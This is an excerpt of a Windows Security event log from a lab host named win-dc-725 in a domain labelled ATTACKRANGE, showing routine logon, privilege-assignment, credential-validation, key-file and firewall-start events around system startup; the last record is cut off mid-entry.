RecordNumber=245783
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245782
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245781
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245780
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245779
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245778
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245777
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245776
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245775
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA1D2

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245774
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA1BD

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245773
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA1D2
	Linked Logon ID:		0xA1BD
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x304
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245772
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA1BD
	Linked Logon ID:		0xA1D2
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x304
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245771
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x304
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245770
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245769
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245800
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245799
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245798
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245797
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	TSSecKeySet1
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\f686aace6942fb7f7ceb231212eef4a4_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245796
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x418
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245795
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x418
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:39:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245794
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245806
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x23E17

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245805
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x23E17
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245804
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245803
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5061
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=System Integrity
OpCode=Info
RecordNumber=245802
Keywords=Audit Success
Message=Cryptographic operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	RSA
	Key Name:	tp-ffd20473-3ab1-4c47-b08e-a6a20f099540
	Key Type:	Machine key.

Cryptographic Operation:
	Operation:	Open Key.
	Return Code:	0x0
03/11/2021 11:39:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5058
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245801
Keywords=Audit Success
Message=Key file operation.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Cryptographic Parameters:
	Provider Name:	Microsoft Software Key Storage Provider
	Algorithm Name:	UNKNOWN
	Key Name:	34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Key Type:	Machine key.

Key File Operation Information:
	File Path:	C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015
	Operation:	Read persisted key from file.
	Return Code:	0x0
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245815
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x249A3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245814
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x249A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
